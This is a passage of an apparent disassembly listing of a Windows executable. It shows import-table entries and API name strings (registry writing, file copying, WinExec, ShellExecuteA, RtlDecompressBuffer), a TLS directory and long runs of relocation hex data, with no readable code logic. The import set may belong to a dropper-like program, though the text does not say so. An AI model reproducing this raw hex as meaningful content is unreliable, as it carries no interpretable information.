to->KERNEL32.InitializeCriticalSectiondword_40024588 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_4002458C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_40024590 dd 7C80A415h ; resolved to->KERNEL32.GetThreadLocaledword_40024594 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathAdword_40024598 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_4002459C dd 7C812F39h ; resolved to->KERNEL32.GetStdHandledword_400245A0 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddressdword_400245A4 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_400245A8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_400245AC dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_400245B0 dd 7C80A7D4h ; resolved to->KERNEL32.GetLocalTimedword_400245B4 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_400245B8 dd 7C814AF2h ; resolved to->KERNEL32.GetEnvironmentVariableAdword_400245BC dd 7C8302EDh ; resolved to->KERNEL32.GetDiskFreeSpaceAdword_400245C0 dd 7C8361EEh ; resolved to->KERNEL32.GetDateFormatAdword_400245C4 dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadIddword_400245C8 dd 7C812E76h ; resolved to->KERNEL32.GetCPInfodword_400245CC dd 7C8260C2h ; resolved to->KERNEL32.FreeResourcedword_400245D0 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrarydword_400245D4 dd 7C82F7A0h ; resolved to->KERNEL32.FormatMessageAdword_400245D8 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_400245DC dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcessdword_400245E0 dd 7C838211h ; resolved to->KERNEL32.EnumCalendarInfoAdword_400245E4 dd 7C901005h ; resolved to->NTDLL.RtlEnterCriticalSectiondword_400245E8 dd 7C91188Ah ; resolved to->NTDLL.RtlDeleteCriticalSectiondword_400245EC dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_400245F0 dd 7C8308ADh ; resolved to->KERNEL32.CreateEventAdword_400245F4 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_400245F8 dd 7C80D077h ; resolved to->KERNEL32.CompareStringAdword_400245FC dd 7C809B47h ; resolved to->KERNEL32.CloseHandle dd 0 dword_40024604 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExAdword_40024608 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExAdword_4002460C dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExAdword_40024610 dd 77DEB908h ; resolved to->ADVAPI32.RegFlushKeydword_40024614 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExAdword_40024618 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKeydword_4002461C dd 77DFD4C9h ; resolved to->ADVAPI32.GetUserNameA dd 0 dword_40024624 dd 7712A63Fh dword_40024628 dd 77124880h align 10h dword_40024630 dd 774FEE36h dword_40024634 dd 77502A37h dd 0 dword_4002463C dd 7C802442h ; resolved to->KERNEL32.Sleep dd 0 dword_40024644 dd 7712ABCCh dword_40024648 dd 771251C8h dword_4002464C dd 77125214h dword_40024650 dd 7712AB11h dword_40024654 dd 77126BFFh dword_40024658 dd 77124D6Bh dword_4002465C dd 77124920h dword_40024660 dd 77124980h align 8 dword_40024668 dd 7C961329h ; resolved to->NTDLL.RtlDecompressBuffer align 10h dword_40024670 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA align 8 aOleaut32_dll db 'oleaut32.dll',0 align 4 aSysfreestring db 'SysFreeString',0 align 4 aSysreallocstri db 'SysReAllocStringLen',0 dd 79530000h, 6C6C4173h, 7453636Fh, 676E6972h, 6E654Ch dd 61766461h, 32336970h, 6C6C642Eh, 0 aRegqueryvaluee db 'RegQueryValueExA',0 align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 align 4 aRegclosekey db 'RegCloseKey',0 aUser32_dll db 'user32.dll',0 align 4 dd 65470000h, 79654B74h, 72616F62h, 70795464h, 65h, 74736544h dd 57796F72h, 6F646E69h, 77h, 64616F4Ch, 69727453h, 41676Eh dd 654D0000h, 67617373h, 786F4265h, 41h, 72616843h, 7478654Eh dd 656B0041h, 6C656E72h, 642E3233h, 6C6Ch, 65470000h, 50434174h dd 0 aSleep db 'Sleep',0 align 4 aVirtualfree db 'VirtualFree',0 dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 65470000h, 63695474h dd 756F436Bh, 746Eh, 75510000h, 50797265h, 6F667265h, 6E616D72h dd 6F436563h, 65746E75h, 72h, 43746547h, 65727275h, 6854746Eh dd 64616572h, 6449h, 6E490000h, 6C726574h, 656B636Fh, 63654464h dd 656D6572h, 746Eh, 6E490000h, 6C726574h, 656B636Fh, 636E4964h dd 656D6572h, 746Eh, 69560000h, 61757472h, 6575516Ch, 7972h dd 69570000h, 68436564h, 6F547261h, 746C754Dh, 74794269h dd 65h, 746C754Dh, 74794269h, 576F5465h, 43656469h, 726168h dd 736C0000h, 656C7274h, 416Eh, 736C0000h, 70637274h, 416E79h dd 6F4C0000h, 694C6461h, 72617262h, 41784579h, 0 aGetthreadlocal db 'GetThreadLocale',0 dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 50746547h dd 41636F72h, 65726464h, 7373h, 65470000h, 646F4D74h, 48656C75h dd 6C646E61h, 4165h, 65470000h, 646F4D74h, 46656C75h, 4E656C69h dd 41656D61h, 0 aGetlocaleinfoa db 'GetLocaleInfoA',0 align 4 dd 65470000h, 73614C74h, 72724574h, 726Fh, 65470000h, 6D6F4374h dd 646E616Dh, 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h dd 69460000h, 6946646Eh, 46747372h, 41656C69h, 0 aFindclose db 'FindClose',0 align 4 aExitprocess db 'ExitProcess',0 dd 72570000h, 46657469h, 656C69h, 6E550000h, 646E6168h dd 4564656Ch, 70656378h, 6E6F6974h, 746C6946h, 7265h, 65530000h dd 6C694674h, 696F5065h, 7265746Eh, 0 aSetendoffile db 'SetEndOfFile',0 align 4 aRtlunwind db 'RtlUnwind',0 align 10h aReadfile db 'ReadFile',0 align 4 aRaiseexception db 'RaiseException',0 align 4 dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h dd 7A695365h, 65h, 46746547h, 54656C69h, 657079h, 72430000h dd 65746165h, 656C6946h, 41h, 736F6C43h, 6E614865h, 656C64h dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 aTlssetvalue db 'TlsSetValue',0 dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch dd 636Fh, 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h dd 72657375h, 642E3233h, 6C6Ch, 65520000h, 7361656Ch, 434465h dd 654D0000h, 67617373h, 786F4265h, 41h, 64616F4Ch, 69727453h dd 41676Eh, 6F4C0000h, 63496461h, 416E6Fh, 65470000h, 73795374h dd 4D6D6574h, 69727465h, 7363h, 65470000h, 73795374h, 6F6C6F43h dd 72h, 44746547h, 43h, 72616843h, 7478654Eh, 41h, 72616843h dd 654F6F54h, 416Dh, 33696467h, 6C642E32h, 6Ch, 65726E55h dd 7A696C61h, 6A624F65h, 746365h, 65530000h, 78655474h dd 6C6F4374h, 726Fh, 65530000h, 504F5274h, 32h, 42746553h dd 646F4D6Bh, 65h, 42746553h, 6C6F436Bh, 726Fh, 65530000h dd 7463656Ch, 656C6150h, 657474h, 65530000h, 7463656Ch dd 656A624Fh, 7463h, 6F4D0000h, 6F546576h, 7845h, 65470000h dd 78655474h, 74654D74h, 73636972h, 41h, 53746547h, 65747379h dd 6C61506Dh, 65747465h, 72746E45h, 736569h, 65470000h dd 6F745374h, 624F6B63h, 7463656Ah, 0 aGetdevicecaps db 'GetDeviceCaps',0 align 10h aGetcurrentposi db 'GetCurrentPositionEx',0 align 4 aDeleteobject db 'DeleteObject',0 align 4 aDeletedc db 'DeleteDC',0 align 4 aCreatepenindir db 'CreatePenIndirect',0 align 4 aCreatepalette db 'CreatePalette',0 align 4 aCreatefontindi db 'CreateFontIndirectA',0 dd 72430000h, 65746165h, 73757242h, 646E4968h, 63657269h dd 656B0074h, 6C656E72h, 642E3233h, 6C6Ch, 72570000h, 50657469h dd 61766972h, 72506574h, 6C69666Fh, 72745365h, 41676E69h dd 0 aWritefile db 'WriteFile',0 align 4 aWinexec db 'WinExec',0 dd 61570000h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 74h, 74726956h, 516C6175h, 79726575h, 0 aSleep_0 db 'Sleep',0 align 4 aSizeofresource db 'SizeofResource',0 align 4 dd 65530000h, 6C694674h, 696F5065h, 7265746Eh, 0 aSetevent db 'SetEvent',0 align 4 aResetevent db 'ResetEvent',0 align 10h dd 65520000h, 69466461h, 656Ch, 754D0000h, 4269746Ch, 54657479h dd 6469576Fh, 61684365h, 72h, 446C754Dh, 7669h, 6F4C0000h dd 65526B63h, 72756F73h, 6563h, 6F4C0000h, 65526461h, 72756F73h dd 6563h, 6F4C0000h, 694C6461h, 72617262h, 4179h, 654C0000h dd 43657661h, 69746972h, 536C6163h, 69746365h, 6E6Fh, 6E490000h dd 61697469h, 657A696Ch, 74697243h, 6C616369h, 74636553h dd 6E6F69h, 65470000h, 72655674h, 6E6F6973h, 417845h, 65470000h dd 63695474h, 756F436Bh, 746Eh, 65470000h, 72685474h, 4C646165h dd 6C61636Fh, 65h, 54746547h, 50706D65h, 41687461h, 0 aGetsystemdirec db 'GetSystemDirectoryA',0 dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6F725074h dd 64644163h, 73736572h, 0 aGetmodulehandl db 'GetModuleHandleA',0 align 10h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 dd 65470000h, 636F4C74h, 49656C61h, 416F666Eh, 0 aGetlocaltime db 'GetLocalTime',0 align 4 aGetlasterror db 'GetLastError',0 align 4 aGetenvironment db 'GetEnvironmentVariableA',0 dd 65470000h, 73694474h, 6572466Bh, 61705365h, 416563h dd 65470000h, 74614474h, 726F4665h, 4174616Dh, 0 aGetcurrentthre db 'GetCurrentThreadId',0 align 4 dd 65470000h, 49504374h, 6F666Eh, 72460000h, 65526565h dd 72756F73h, 6563h, 72460000h, 694C6565h, 72617262h, 79h dd 6D726F46h, 654D7461h, 67617373h, 4165h, 69460000h, 6552646Eh dd 72756F73h, 416563h, 78450000h, 72507469h, 7365636Fh dd 73h, 6D756E45h, 656C6143h, 7261646Eh, 6F666E49h, 41h dd 65746E45h, 69724372h, 61636974h, 6365536Ch, 6E6F6974h dd 0 aDeletecritical db 'DeleteCriticalSection',0 align 4 aCreatefilea db 'CreateFileA',0 dd 72430000h, 65746165h, 6E657645h, 4174h, 6F430000h, 69467970h dd 41656Ch, 6F430000h, 7261706Dh, 72745365h, 41676E69h dd 0 aClosehandle db 'CloseHandle',0 aAdvapi32_dll db 'advapi32.dll',0 align 4 aRegsetvalueexa db 'RegSetValueExA',0 align 4 dd 65520000h, 65755167h, 61567972h, 4565756Ch, 4178h, 65520000h dd 65704F67h, 79654B6Eh, 417845h, 65520000h, 756C4667h dd 654B6873h, 79h, 43676552h, 74616572h, 79654B65h, 417845h dd 65520000h, 6F6C4367h, 654B6573h, 79h, 55746547h, 4E726573h dd 41656D61h, 6C6F0000h, 74756165h, 642E3233h, 6C6Ch, 65470000h dd 72724574h, 6E49726Fh, 6F66h, 79530000h, 65724673h, 72745365h dd 676E69h, 33656C6Fh, 6C642E32h, 6Ch, 6E556F43h, 74696E69h dd 696C6169h, 657Ah, 6F430000h, 74696E49h, 696C6169h, 657Ah dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 aSleep_1 db 'Sleep',0 aOleaut32_dll_0 db 'oleaut32.dll',0 align 4 dd 61530000h, 72416566h, 50796172h, 664F7274h, 65646E49h dd 78h, 65666153h, 61727241h, 74654779h, 756F4255h, 646Eh dd 61530000h, 72416566h, 47796172h, 424C7465h, 646E756Fh dd 0 aSafearraycreat db 'SafeArrayCreate',0 dd 61560000h, 6E616972h, 61684374h, 5465676Eh, 657079h dd 61560000h, 6E616972h, 706F4374h, 79h, 69726156h, 43746E61h dd 7261656Ch, 0 aVariantinit db 'VariantInit',0 aNtdll_dll db 'ntdll.dll',0 align 4 aRtldecompressb db 'RtlDecompressBuffer',0 aShell32_dll db 'shell32.dll',0 dd 68530000h, 456C6C65h, 75636578h, 416574h _idata ends ; Section 6. (virtual address 00026000) ; Virtual size : 0000000C ( 12.) ; Section size in file : 0000000C ( 12.) ; Offset to raw data for section: 00026000 ; Flags C0000000: Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Regular ; Segment permissions: Read/Write _tls segment para public '' use32 assume cs:_tls ;org 40026000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing TlsStart dd 3 dup(0) ; DATA XREF: .rdata:TlsDirectoryo _tls ends ; Section 7. (virtual address 00027000) ; Virtual size : 00000018 ( 24.) ; Section size in file : 00000018 ( 24.) ; Offset to raw data for section: 00027000 ; Flags 40000040: Data Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _rdata segment para public 'DATA' use32 assume cs:_rdata ;org 40027000h TlsDirectory dd offset TlsStart TlsEnd_ptr dd 4002600Ch TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsSizeOfZeroFill TlsSizeOfZeroFill dd 0 ; DATA XREF: .rdata:TlsCallbacks_ptro TlsCharacteristics dd 0 _rdata ends ; Section 8. (virtual address 00028000) ; Virtual size : 00001DDC ( 7644.) ; Section size in file : 00001DDC ( 7644.) ; Offset to raw data for section: 00028000 ; Flags 42000040: Data Discardable Readable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read _reloc segment para public 'DATA' use32 assume cs:_reloc ;org 40028000h db 0 db 10h, 2 dup(0) db 3Ch ; < db 1, 2 dup(0) db 0 db 30h, 0Ch, 30h db 1Ch a00h0l0p0t0x000 db '0<0H0L0P0T0X0\0`0d0p0}0±0µ0¹0Ñ0à0ä0',0 db 31h, 8, 31h db 0Ch db 31h, 10h, 31h db 14h db 31h, 18h, 31h db 1Ch db 31h, 20h, 31h db 24h ; $ db 31h, 28h, 31h db 42h ; B db 31h, 4Ah, 31h db 52h ; R db 31h, 5Ah, 31h db 62h ; b db 31h, 6Ah, 31h db 72h ; r db 31h, 7Ah, 31h db 82h ; ‚ db 31h, 8Ah, 31h db 92h ; ’ db 31h, 9Ah, 31h db 0A2h ; ¢ db 31h, 0AAh, 31h db 0B2h ; ² db 31h, 0BAh, 31h db 0C2h ;  db 31h, 0CAh, 31h db 0D2h ; Ò db 31h, 0DAh, 31h db 0E2h ; â db 31h, 0EAh, 31h db 0F2h ; ò db 31h, 0FAh, 31h db 2 db 32h, 0Ah, 32h db 12h db 32h, 1Ah, 32h db 22h ; " db 32h, 2Ah, 32h db 32h ; 2 db 32h, 3Ah, 32h db 42h ; B db 32h, 4Ah, 32h db 52h ; R db 32h, 5Ah, 32h db 62h ; b db 32h, 6Ah, 32h db 72h ; r db 32h, 7Ah, 32h db 82h ; ‚ db 32h, 8Ah, 32h db 92h ; ’ db 32h, 9Ah, 32h db 0C6h ; Æ db 32h, 0CEh, 32h db 0D6h ; Ö db 32h, 0DEh, 32h db 0E2h ; â db 34h, 0F8h, 34h db 9 db 35h, 2Ch, 35h db 46h ; F db 35h, 5Ch, 35h db 6Bh ; k db 35h, 72h, 35h db 7Dh ; } db 35h, 8Dh, 35h db 0C2h ;  db 35h, 0D0h, 35h db 0FDh ; ý db 35h, 5, 36h db 0Ah db 36h, 2Fh, 36h db 38h ; 8 db 36h, 4Bh, 36h db 56h ; V db 36h, 67h, 36h db 80h ; € db 36h, 0D0h, 36h db 0D6h ; Ö db 36h, 0DCh, 36h db 0E7h ; ç db 36h, 2Bh, 37h db 42h ; B db 37h, 51h, 37h db 58h ; X db 37h, 4, 38h db 14h db 38h, 2Ah, 38h db 42h ; B db 38h, 55h, 38h db 62h ; b db 38h, 7Fh, 38h db 88h ; ˆ db 38h, 0BEh, 38h db 0C8h ; È db 38h, 0E0h, 38h db 0E6h ; æ db 38h, 0FEh, 38h db 16h db 39h, 51h, 39h db 67h ; g db 39h, 0AEh, 39h db 0CBh ; Ë db 39h, 0D7h, 39h db 0EAh ; ê db 39h, 0F3h, 39h db 0FAh ; ú db 39h, 0, 3Ah db 15h db 3Ah, 21h, 3Ah db 3Eh ; > db 3Ah, 47h, 3Ah db 85h ; … db 3Ah, 0A7h, 3Ah db 0Fh db 3Bh, 55h, 3Bh db 6Bh ; k db 3Bh, 0C9h, 3Bh db 6 db 3Ch, 1Fh, 3Ch aPZSGI db 'P<Z<`<s=ƒ=›=',0 aO_Y?? db '>O>_>y>',0Bh,'?',1Bh,'?',0 db ' ',0 align 10h aD: unicode 0, <¤>,0 db 5Ah ; Z db 30h, 63h, 30h db 75h ; u db 30h, 81h, 30h db 8Ch ; Œ db 30h, 0F2h, 32h db 3 db 33h, 1Ch, 33h db 2Fh ; / db 33h, 4Ah, 33h db 50h ; P db 33h, 69h, 33h db 76h ; v db 33h, 7Eh, 33h db 87h ; ‡ db 33h, 95h, 33h db 0A2h ; ¢ db 33h, 0E7h, 33h db 7 db 34h, 94h, 35h db 21h ; ! db 36h, 2Dh, 36h db 6Ch ; l db 36h, 0A1h, 36h db 0C1h ; Á db 36h, 18h, 37h db 6Eh ; n db 37h, 9Dh, 37h db 0B2h ; ² db 37h, 5Ah, 38h db 0BBh ; » db 38h, 0D1h, 38h db 0BFh ; ¿ db 39h, 0C5h, 39h db 0E3h ; ã db 39h, 5, 3Ah db 10h db 3Ah, 0E0h, 3Ah db 0E4h ; ä db 3Ah, 0EAh, 3Ah db 0EEh ; î db 3Ah, 0F8h, 3Ah db 0Bh db 3Bh, 0Fh, 3Bh db 15h db 3Bh, 19h, 3Bh db 29h ; ) db 3Bh, 2Eh, 3Bh db 53h ; S db 3Bh, 7Eh, 3Bh db 0B6h ; ¶ db 3Bh, 0BEh, 3Bh db 0CBh ; Ë db 3Bh, 0D1h, 3Bh db 0DFh ; ß db 3Bh, 0EEh, 3Bh db 0FBh ; û db 3Bh, 0Eh, 3Ch db 26h ; & db 3Ch, 42h, 3Ch db 63h ; c db 3Ch, 7Ch, 3Ch db 95h ; • db 3Ch, 0FAh, 3Ch db 0Fh db 3Dh, 1Ch, 3Dh a48@DHLPT db '<=',0Dh,'>4>8><>@>D>H>L>P>T>',0 align 10h dd 3000h, 68h, 30763069h, 30903085h, 30BF30B6h, 31D831AFh dd 31E631DFh, 32CB32B6h, 334E32FEh, 33B03360h, 33E633B7h dd 34DD348Ah, 367C35D4h, 36943683h, 36F036A0h, 38B3389Bh dd 38E038C4h, 390938F8h, 3B5E3915h, 3BAD3B9Dh, 3BE13BC3h dd 3C0F3BF7h, 3C5D3C24h, 3E133DB5h, 3F963F4Bh, 3FFE3FEAh dd 4000h, 0A4h, 301C3006h, 30423034h, 30923076h, 30B2309Eh dd 30CF30BCh, 312C30FFh, 31673135h, 31A53170h, 31CE31ACh dd 3252321Dh, 330732C3h, 34433313h, 3472346Bh, 34AC348Ah dd 34E834E0h, 351F34F3h, 35343529h, 35843545h, 35B1359Ah dd 35EA35E6h, 35F435F0h, 360035F9h, 360E3606h, 36743619h dd 36A8367Ch, 36D836B4h, 370736E2h, 371B3711h, 37293723h dd 37523737h, 37713767h, 37953776h, 37BA379Ah, 37DA37CEh dd 383D37F3h, 384B3846h, 387A386Dh, 39D139B5h, 3D4Fh, 5000h dd 24h, 330732FEh, 3417340Eh, 3C793C0Fh, 3E553C8Ch, 3E913E73h dd 3EF93EABh, 3F1Bh, 6000h, 268h, 30BD30B3h, 30DC30CCh dd 313530E3h, 31863146h, 319F318Dh, 31C631BDh, 31D931D2h dd 334A32E8h, 33633357h, 3374336Ah, 338D337Eh, 33B2339Fh dd 33C233BAh, 33F233CAh, 342A341Ch, 3448342Fh, 34693458h dd 3486347Ah, 3490348Bh, 349E3497h, 34BA34A8h, 34CA34C2h dd 34DA34D2h, 34EA34E2h, 34FA34F2h, 350A3502h, 351A3512h dd 352A3522h, 353A3532h, 354A3542h, 355A3552h, 356A3562h dd 357A3572h, 358A3582h, 359A3592h, 35AA35A2h, 35BA35B2h dd 35CA35C2h, 35DA35D2h, 35EA35E2h, 35FA35F2h, 360A3602h dd 361A3612h, 362A3622h, 363A3632h, 364A3642h, 365A3652h dd 366A3662h, 367A3672h, 368A3682h, 369A3692h, 36AA36A2h dd 36BA36B2h, 36CA36C2h, 36DA36D2h, 36EA36E2h, 36FA36F2h dd 370A3702h, 371A3712h, 372A3722h, 373A3732h, 374A3742h dd 376B375Fh, 377B3773h, 37B2378Eh, 3862382Bh, 3981393Bh dd 3A4F3A0Fh, 3ABC3A9Ah, 3ADE3AD6h, 3AF23AE6h, 3B023AFAh dd 3B103B0Ah, 3B203B18h, 3B303B28h, 3B403B38h, 3B503B48h dd 3B603B58h, 3B703B68h, 3B803B78h, 3B903B88h, 3BA03B98h dd 3BB03BA8h, 3BC03BB8h, 3BD03BC8h, 3BE03BD8h, 3BF03BE8h dd 3C003BF8h, 3C103C08h, 3C203C18h, 3C303C28h, 3C403C38h dd 3C503C48h, 3C603C58h, 3C703C68h, 3C803C78h, 3C903C88h dd 3CA03C98h, 3CB03CA8h, 3CC03CB8h, 3CD03CC8h, 3CE03CD8h dd 3CF03CE8h, 3D003CF8h, 3D103D08h, 3D203D18h, 3D303D28h dd 3D403D38h, 3D503D48h, 3D603D58h, 3D703D68h, 3D803D78h dd 3D903D88h, 3DA03D98h, 3DB03DA8h, 3DC03DB8h, 3DD03DC8h dd 3DE03DD8h, 3E003DECh, 3E0C3E08h, 3E143E10h, 3E1C3E18h dd 3E243E20h, 3E363E28h, 3E683E48h, 3E743E70h, 3E7C3E78h dd 3E843E80h, 3E8C3E88h, 3EA43E90h, 3ECC3EC4h, 3ED43ED0h dd 3EDC3ED8h, 3EE43EE0h, 3EEC3EE8h, 3F203F00h, 3F2C3F28h dd 3F343F30h, 3F3C3F38h, 3F443F40h, 3F583F48h, 3F803F78h dd 3F883F84h, 3F903F8Ch, 3F983F94h, 3FA03F9Ch, 3FD03FB0h dd 3FDC3FD8h, 3FE43FE0h, 3FEC3FE8h, 3FF43FF0h, 3FF8h, 7000h dd 258h, 30303010h, 303C3038h, 30443040h, 304C3048h, 30543050h dd 30683058h, 30903088h, 30983094h, 30A0309Ch, 30A830A4h dd 30B030ACh, 30E030C0h, 30EC30E8h, 30F430F0h, 30FC30F8h dd 31043100h, 31183108h, 31403138h, 31483144h, 3150314Ch dd 31583154h, 3160315Ch, 31943174h, 31A0319Ch, 31A831A4h dd 31B031ACh, 31B831B4h, 31CC31BCh, 31F431ECh, 31FC31F8h dd 32043200h, 320C3208h, 32143210h, 32443224h, 3250324Ch dd 32583254h, 3260325Ch, 32683264h, 327C326Ch, 32A4329Ch dd 32AC32A8h, 32B432B0h, 32BC32B8h, 32C432C0h, 32F432D4h dd 330032FCh, 33083304h, 3310330Ch, 33183314h, 332C331Ch dd 3354334Ch, 335C3358h, 33643360h, 336C3368h, 33743370h dd 33A83388h, 33B433B0h, 33BC33B8h, 33C433C0h, 33CC33C8h dd 33E433D0h, 340C3404h, 34143410h, 341C3418h, 34243420h dd 342C3428h, 34603440h, 346C3468h, 34743470h, 347C3478h dd 34843480h, 34A03488h, 34C834C0h, 34D034CCh, 34D834D4h dd 34E034DCh, 34E834E4h, 351834F8h, 35243520h, 352C3528h dd 35343530h, 353C3538h, 35543540h, 357C3574h, 35843580h dd 358C3588h, 35943590h, 359C3598h, 35CC35ACh, 35D835D4h dd 35E035DCh, 35E835E4h, 35F035ECh, 360835F4h, 36303628h dd 36383634h, 3640363Ch, 36483644h, 3650364Ch, 36883668h dd 36943690h, 369C3698h, 36A436A0h, 36AC36A8h, 36C436B0h dd 36EC36E4h, 36F436F0h, 36FC36F8h, 37043700h, 370C3708h dd 37403720h, 374C3748h, 37543750h, 375C3758h, 37643760h dd 37783768h, 37A03798h, 37A837A4h, 37B037ACh, 37B837B4h dd 37C037BCh, 37E537D8h, 37FC37EDh, 38113809h, 384C382Ch dd 38583854h, 3860385Ch, 38683864h, 3870386Ch, 38CC3874h dd 38D438D0h, 38DC38D8h, 38E438E0h, 390838FCh, 3928390Ch dd 39343930h, 393C3938h, 39443940h, 394C3948h, 39A83950h dd 3E3D3E2Dh, 3E553E48h, 3E643E5Ah, 3E7F3E74h, 3E913E8Ch dd 3F763F62h, 3F993F82h, 3FF33FA5h, 8000h, 70h, 301A3004h dd 32D230BAh, 32F232E7h, 34653461h, 346D3469h, 34753471h dd 347D3479h, 34853481h, 348D3489h, 34953491h, 349D3499h dd 34A534A1h, 35783571h, 37E1363Ah, 3815380Dh, 3825381Dh dd 3892382Dh, 38DC38C1h, 38E438E0h, 38EC38E8h, 3B663A29h dd 3C863B7Bh, 3D273D15h, 3F113DCFh, 3F353F2Bh, 3F9Bh, 9000h dd 88h, 321B3077h, 3432334Bh, 34B93468h, 355E34EAh, 35E335A8h dd 367135F2h, 371636C3h, 378C3785h, 37CD37C9h, 37D537D1h dd 37DD37D9h, 37E537E1h, 37ED37E9h, 37F537F1h, 37FD37F9h dd 38053801h, 390838EEh, 398D3966h, 39B539A1h, 3A2539E6h dd 3A4F3A3Ah, 3B503B3Ch, 3BD73B9Bh, 3C333C13h, 3C5B3C44h dd 3CA13C8Eh, 3D093CD4h, 3D4C3D38h, 3D6D3D5Dh, 3D8C3D80h dd 3E1A3DACh, 3F8E3E90h, 0A000h, 0B0h, 30E9302Dh, 3133312Eh dd 31EE3178h, 3221320Fh, 32653260h, 32973273h, 337C32C7h dd 33E03398h, 340333F6h, 341A3408h, 347E3466h, 34A83490h dd 352F34D4h, 35583541h, 35BF356Ah, 361B35EDh, 365E364Ch dd 36873675h, 392E37ECh, 394B3946h, 397A3957h, 39AC39A7h dd 39EB39C6h, 3A573A1Dh, 3A873A61h, 3AC23AA3h, 3AFE3AD4h dd 3B433B12h, 3B6C3B52h, 3BB93B7Eh, 3C013BD9h, 3CA13C6Ch dd 3CCA3CBAh, 3CF23CE3h, 3D273D0Bh, 3E373D62h, 3E7C3E77h dd 3EAE3E84h, 3EC83EBFh, 3F873F7Dh, 3FEC3FD1h, 3FF5h, 0B000h dd 0FCh, 30B9308Ah, 31823148h, 32273210h, 32573249h, 3276325Eh dd 3290327Dh, 32C732A8h, 32DB32CFh, 3339331Bh, 33733364h dd 33DA3387h, 348033E1h, 34CE34B4h, 359934DDh, 35F535ABh dd 361B3607h, 36913667h, 36D536C6h, 370036E4h, 3735372Eh dd 3745373Fh, 3756374Ch, 3761375Bh, 376C3766h dd 37773771h, 3784377Eh, 378F3789h, 379A3794h, 37A737A1h dd 37BA37B2h, 37CF37C3h, 37DD37D5h, 37F237E6h, 380037F7h dd 38123809h, 3824381Bh, 3855384Ch, 3864385Eh, 38803875h dd 38BD3885h, 390438DBh, 393C391Eh, 39BB399Eh, 3A463A13h dd 3B203A9Eh, 3B953B65h, 3BCB3BA7h, 3D793BDDh, 3DEA3DAAh dd 3DFD3DEFh, 3E783E06h, 3EB73E8Eh, 3EE03EC5h, 3F043EE9h dd 3F2A3F17h, 3F4E3F33h, 3F6A3F61h, 3F973F89h, 3FCE3FB6h dd 3FEB3FD7h, 3FF9h, 0C000h, 1D4h, 302B300Dh, 305C304Dh dd 308D306Ah, 30BE30AFh, 30D630CEh, 30F330EBh, 311D3110h dd 320C31DCh, 32393225h, 32813277h, 332632FEh, 3376334Eh dd 340A33EDh, 345F342Eh, 34753466h, 349A347Ch, 34DA34B7h dd 34F534EAh, 350334FBh, 36E83508h, 39883984h, 3990398Ch dd 39983994h, 39A0399Ch, 39A839A4h, 39B039ACh, 39B839B4h dd 39C039BCh, 39C839C4h, 39D039CCh, 39D839D4h, 39E039DCh dd 39E839E4h, 39F039ECh, 39F839F4h, 3A0039FCh, 3A083A04h dd 3A103A0Ch, 3A183A14h, 3A203A1Ch, 3A283A24h, 3A303A2Ch dd 3A383A34h, 3A403A3Ch, 3A483A44h, 3A503A4Ch, 3A583A54h dd 3A603A5Ch, 3A683A64h, 3A743A70h, 3A803A7Ch, 3A8C3A88h dd 3A983A94h, 3AA43AA0h, 3AB03AACh, 3ABC3AB8h, 3AC83AC4h dd 3AD43AD0h, 3AE03ADCh, 3AEC3AE8h, 3AF83AF4h, 3B043B00h dd 3B103B0Ch, 3B1C3B18h, 3B283B24h, 3B343B30h, 3B403B3Ch dd 3B4C3B48h, 3B583B54h, 3B643B60h, 3B703B6Ch, 3B7C3B78h dd 3B883B84h, 3B943B90h, 3BA03B9Ch, 3BAC3BA8h, 3BB83BB4h dd 3BC43BC0h, 3BD03BCCh, 3BDC3BD8h, 3BE83BE4h, 3BF43BF0h dd 3C003BFCh, 3C0C3C08h, 3C183C14h, 3C243C20h, 3C303C2Ch dd 3C3C3C38h, 3C483C44h, 3C633C57h, 3C783C6Eh, 3C963C8Ch dd 3CAA3CA0h, 3CBE3CB4h, 3CD23CC8h, 3CE63CDCh, 3CFB3CF0h dd 3D103D05h, 3D253D1Ah, 3D3A3D2Fh, 3D4F3D44h, 3D5F3D59h dd 3D6F3D69h, 3D833D79h, 3D983D8Eh, 3DAD3DA3h, 3DCA3DB8h dd 3DE23DDAh, 3DF23DEAh, 3E8C3E56h, 3EC23E99h, 3F053EF8h dd 3F643F2Eh, 3F9A3F71h, 3FDD3FD0h, 0D000h, 254h, 303C3006h dd 30783049h, 30C830AEh, 313B30FDh, 31AD316Dh, 322331E1h dd 324A3242h, 